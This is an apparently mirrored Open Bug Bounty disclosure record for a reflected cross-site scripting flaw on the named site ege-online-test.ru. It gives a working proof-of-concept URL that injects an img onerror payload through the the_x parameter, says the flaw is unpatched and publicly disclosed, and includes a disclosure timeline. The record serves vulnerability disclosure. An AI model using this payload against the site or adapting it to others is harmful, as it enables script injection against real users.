Lucene search

K
openbugbountyOmniGoochOBB:195717
HistoryDec 01, 2016 - 12:05 a.m.

ege-online-test.ru XSS vulnerability

2016-12-0100:05:00
OmniGooch
www.openbugbounty.org
7
Vulnerable URL:
http://ege-online-test.ru/not_found_text.php?the_x=%3C/script%3E%3Cimg%20src=x%20onerror=prompt(/XSSPOSED/)%3E
Details:
Description Value
Patched: No
Latest check for patch: 28.07.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 1111445
VIP website status: No
Check ege-online-test.ru SSL connection: (Grade: F)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 1 December, 2016 00:05 GMT
Generic security notifications sent to website owner 1 December, 2016 00:08 GMT
Vulnerability details disclosed by researcher 8 December, 2016 00:13 GMT